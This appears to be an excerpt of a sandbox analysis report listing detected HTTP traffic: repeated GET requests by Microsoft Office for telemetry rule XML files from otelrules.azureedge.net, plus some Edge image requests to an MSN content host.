Source: global traffic	HTTP traffic detected: GET /rules/rule701800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1cLbwq?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule701050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1sFuPI?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule703401v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703400v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAAAWUx?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule700501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAtK5aP?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule701350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB18CMuA?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule702151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703601v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703600v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703851v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703850v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703801v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703800v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703700v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703701v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703751v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703750v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704051v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704050v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703951v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703950v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700001v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700000v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703051v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703050v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703551v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703550v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704001v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704000v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
